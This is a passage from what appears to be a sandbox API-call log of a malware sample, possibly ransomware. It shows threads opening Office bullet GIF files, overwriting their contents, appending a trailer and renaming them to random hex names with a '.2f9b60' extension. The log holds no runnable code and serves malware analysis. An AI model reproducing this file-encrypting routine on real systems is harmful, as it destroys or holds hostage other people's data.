SourceString="26021d633b35252e4d816f8ed57e7d2bc856d84fe77c05bd", AllocateDestinationString=1 | out: DestinationString="26021d633b35252e4d816f8ed57e7d2bc856d84fe77c05bd") returned 0x0 [0206.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8720 [0206.939] wcscat (in: _Dest=0x4314f2d0, _Source="26021d633b35" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26021d633b35") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26021d633b35" [0206.939] wcscat (in: _Dest=0x4314f2d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26021d633b35.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26021d633b35.2f9b60" [0206.940] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26021d633b35.2f9b60", NtPathName=0x38b0fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\26021d633b35.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x43128ba0 Thread: id = 2634 os_tid = 0x2194 [0156.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif")) returned 0x20 [0156.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF", dwFileAttributes=0x20) returned 1 [0156.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7a4 [0156.806] GetFileSizeEx (in: hFile=0x7a4, lpFileSize=0x378cfd60 | out: lpFileSize=0x378cfd60*=308) returned 1 [0156.806] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.806] ReadFile (in: hFile=0x7a4, lpBuffer=0x378cfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x378cfd28, lpOverlapped=0x0 | out: lpBuffer=0x378cfce0*, lpNumberOfBytesRead=0x378cfd28*=0x4, lpOverlapped=0x0) returned 1 [0156.807] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc980 [0156.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddca10 [0156.808] NtQuerySystemTime (in: CurrentTime=0x378cfc20 | out: CurrentTime=0x378cfc20*=132462177619354000) returned 0x0 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x55c69138 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x3f924d4 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x1f0554fb [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x2e970027 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x53cd6b73 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x7809c9c7 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x32febb24 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x23db1c22 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x614f9f5e [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x2219114a [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x7ae9ff1e [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x47b3e973 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x4ad91018 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x70860656 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x2648e45a [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x752a056 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x598e2058 [0156.808] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x522ed35b [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x451e7e6c [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x3fb41c9d [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x4f46ef0d [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x4bf76882 [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x79d61217 [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x7d0089a9 [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x3fb37a3d [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x2dcbe1ea [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0xe815117 [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x6f9ae82c [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x23c7b9fe [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x57e0f43e [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x47aa1d49 [0156.809] RtlRandomEx (in: Seed=0x378cfc10 | out: Seed=0x378cfc10) returned 0x35f651d0 [0156.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddca40 [0156.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6020 [0156.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddca70 [0156.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6020) returned 1 [0156.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddca10) returned 1 [0156.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f00 [0156.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6020 [0156.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a809e0 [0156.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a845f0 [0156.827] ReadFile (in: hFile=0x7a4, lpBuffer=0x42a809e0, nNumberOfBytesToRead=0x134, lpNumberOfBytesRead=0x378cfc10, lpOverlapped=0x0 | out: lpBuffer=0x42a809e0*, lpNumberOfBytesRead=0x378cfc10*=0x134, lpOverlapped=0x0) returned 1 [0156.827] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.828] WriteFile (in: hFile=0x7a4, lpBuffer=0x42a845f0*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x378cfc14, lpOverlapped=0x0 | out: lpBuffer=0x42a845f0*, lpNumberOfBytesWritten=0x378cfc14*=0x134, lpOverlapped=0x0) returned 1 [0168.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7100 [0168.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0168.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0168.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a845f0) returned 1 [0168.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a809e0) returned 1 [0168.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6020) returned 1 [0168.216] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f00) returned 1 [0168.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7940 [0168.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f00 [0168.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6020 [0168.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7730 [0168.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7730) returned 1 [0168.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7730 [0168.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77c0 [0168.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a160 [0168.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a160) returned 1 [0168.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6020) returned 1 [0168.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f00) returned 1 [0168.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c143f0 [0168.219] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0168.219] WriteFile (in: hFile=0x7a4, lpBuffer=0x42c143f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x378cfd30, lpOverlapped=0x0 | out: lpBuffer=0x42c143f0*, lpNumberOfBytesWritten=0x378cfd30*=0x10a, lpOverlapped=0x0) returned 1 [0184.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596f0 [0184.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504e90 [0184.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33c80 [0184.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33c80) returned 1 [0184.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d680 [0184.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33c80 [0184.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33cb0 [0184.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33cb0) returned 1 [0184.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504e90) returned 1 [0184.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596f0) returned 1 [0184.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x43198720 [0191.736] sprintf (in: _Dest=0x43198720, _Format="%c%c" | out: _Dest="2e") returned 2 [0191.736] sprintf (in: _Dest=0x43198722, _Format="%c%c" | out: _Dest="ee") returned 2 [0191.736] sprintf (in: _Dest=0x43198724, _Format="%c%c" | out: _Dest="19") returned 2 [0191.736] sprintf (in: _Dest=0x43198726, _Format="%c%c" | out: _Dest="04") returned 2 [0191.736] sprintf (in: _Dest=0x43198728, _Format="%c%c" | out: _Dest="f8") returned 2 [0191.736] sprintf (in: _Dest=0x4319872a, _Format="%c%c" | out: _Dest="13") returned 2 [0191.736] sprintf (in: _Dest=0x4319872c, _Format="%c%c" | out: _Dest="bf") returned 2 [0191.736] sprintf (in: _Dest=0x4319872e, _Format="%c%c" | out: _Dest="30") returned 2 [0191.736] sprintf (in: _Dest=0x43198730, _Format="%c%c" | out: _Dest="3c") returned 2 [0191.736] sprintf (in: _Dest=0x43198732, _Format="%c%c" | out: _Dest="9e") returned 2 [0191.736] sprintf (in: _Dest=0x43198734, _Format="%c%c" | out: _Dest="96") returned 2 [0191.736] sprintf (in: _Dest=0x43198736, _Format="%c%c" | out: _Dest="61") returned 2 [0191.736] sprintf (in: _Dest=0x43198738, _Format="%c%c" | out: _Dest="a3") returned 2 [0191.736] sprintf (in: _Dest=0x4319873a, _Format="%c%c" | out: _Dest="67") returned 2 [0191.736] sprintf (in: _Dest=0x4319873c, _Format="%c%c" | out: _Dest="56") returned 2 [0191.736] sprintf (in: _Dest=0x4319873e, _Format="%c%c" | out: _Dest="0d") returned 2 [0191.736] sprintf (in: _Dest=0x43198740, _Format="%c%c" | out: _Dest="c8") returned 2 [0191.736] sprintf (in: _Dest=0x43198742, _Format="%c%c" | out: _Dest="e5") returned 2 [0191.736] sprintf (in: _Dest=0x43198744, _Format="%c%c" | out: _Dest="ff") returned 2 [0191.736] sprintf (in: _Dest=0x43198746, _Format="%c%c" | out: _Dest="34") returned 2 [0191.736] sprintf (in: _Dest=0x43198748, _Format="%c%c" | out: _Dest="ce") returned 2 [0191.736] sprintf (in: _Dest=0x4319874a, _Format="%c%c" | out: _Dest="3c") returned 2 [0191.736] sprintf (in: _Dest=0x4319874c, _Format="%c%c" | out: _Dest="94") returned 2 [0191.736] sprintf (in: _Dest=0x4319874e, _Format="%c%c" | out: _Dest="eb") returned 2 [0191.736] RtlInitAnsiString (in: DestinationString=0x378cfda8, SourceString="2eee1904f813bf303c9e9661a367560dc8e5ff34ce3c94eb" | out: DestinationString="2eee1904f813bf303c9e9661a367560dc8e5ff34ce3c94eb") [0191.737] RtlAnsiStringToUnicodeString (in: DestinationString=0x378cfd78, SourceString="2eee1904f813bf303c9e9661a367560dc8e5ff34ce3c94eb", AllocateDestinationString=1 | out: DestinationString="2eee1904f813bf303c9e9661a367560dc8e5ff34ce3c94eb") returned 0x0 [0191.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e6b0 [0191.738] RtlFreeAnsiString (AnsiString="2") [0191.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43198720) returned 1 [0191.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d680) returned 1 [0191.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33c80) returned 1 [0191.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c143f0) returned 1 [0191.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7730) returned 1 [0191.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77c0) returned 1 [0191.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0191.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7100) returned 1 [0191.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc980) returned 1 [0191.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddca40) returned 1 [0191.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddca70) returned 1 [0191.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5ff0 [0191.744] wcscat (in: _Dest=0x1b7a5ff0, _Source="2eee1904f813" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2eee1904f813") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2eee1904f813" [0191.744] wcscat (in: _Dest=0x1b7a5ff0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2eee1904f813.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2eee1904f813.2f9b60" [0191.744] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2eee1904f813.2f9b60", NtPathName=0x378cfd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\2eee1904f813.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c37e90 Thread: id = 2635 os_tid = 0x2198 [0156.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif")) returned 0x20 [0156.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF", dwFileAttributes=0x20) returned 1 [0156.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x958 [0156.831] GetFileSizeEx (in: hFile=0x958, lpFileSize=0x3929f720 | out: lpFileSize=0x3929f720*=177) returned 1 [0156.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddca10 [0156.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcaa0 [0156.832] NtQuerySystemTime (in: CurrentTime=0x3929f5e0 | out: CurrentTime=0x3929f5e0*=132462177619666000) returned 0x0 [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x46ed9885 [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x63bad8f6 [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x69a009f0 [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x360e4aec [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x69f1604d [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x58dbd810 [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x157de67c [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x3246ff05 [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x24f1b871 [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x104fc223 [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x56c6af7e [0156.832] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x75acce8 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x51a00619 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x7b465ff7 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x7373b17c [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x4c7fb427 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x41ed735d [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x7f6b1dea [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x68d8b680 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x4a149bf [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x44322df5 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x78faa4e0 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x27b9e5fa [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x18494634 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x1acbb16a [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x83ee5d7 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x3401b987 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x5baaa53c [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x5a156f22 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x382e0ecf [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x4bbf8fc4 [0156.833] RtlRandomEx (in: Seed=0x3929f5d0 | out: Seed=0x3929f5d0) returned 0x69cc8e67 [0156.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcad0 [0156.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0156.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb00 [0156.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0156.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcaa0) returned 1 [0156.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f50 [0156.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0156.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a88200 [0156.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a8be10 [0156.846] ReadFile (in: hFile=0x958, lpBuffer=0x42a88200, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x3929f5d0, lpOverlapped=0x0 | out: lpBuffer=0x42a88200*, lpNumberOfBytesRead=0x3929f5d0*=0xb1, lpOverlapped=0x0) returned 1 [0156.847] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.847] WriteFile (in: hFile=0x958, lpBuffer=0x42a8be10*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x3929f5d4, lpOverlapped=0x0 | out: lpBuffer=0x42a8be10*, lpNumberOfBytesWritten=0x3929f5d4*=0xb1, lpOverlapped=0x0) returned 1 [0166.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda850 [0166.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda820 [0166.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda820) returned 1 [0166.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a8be10) returned 1 [0166.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a88200) returned 1 [0166.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0166.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f50) returned 1 [0166.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda820 [0166.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18f50 [0166.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0166.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda760 [0166.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda760) returned 1 [0166.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda760 [0166.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9320 [0166.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0166.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9350) returned 1 [0166.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0166.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18f50) returned 1 [0166.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c153b0 [0166.455] SetFilePointerEx (in: hFile=0x958, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.455] WriteFile (in: hFile=0x958, lpBuffer=0x42c153b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3929f6f0, lpOverlapped=0x0 | out: lpBuffer=0x42c153b0*, lpNumberOfBytesWritten=0x3929f6f0*=0x10a, lpOverlapped=0x0) returned 1 [0183.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c470 [0183.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0183.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d331d0 [0183.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d331d0) returned 1 [0183.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d5e0 [0183.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d331d0 [0183.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0183.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c470) returned 1 [0183.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x43172720 [0191.399] sprintf (in: 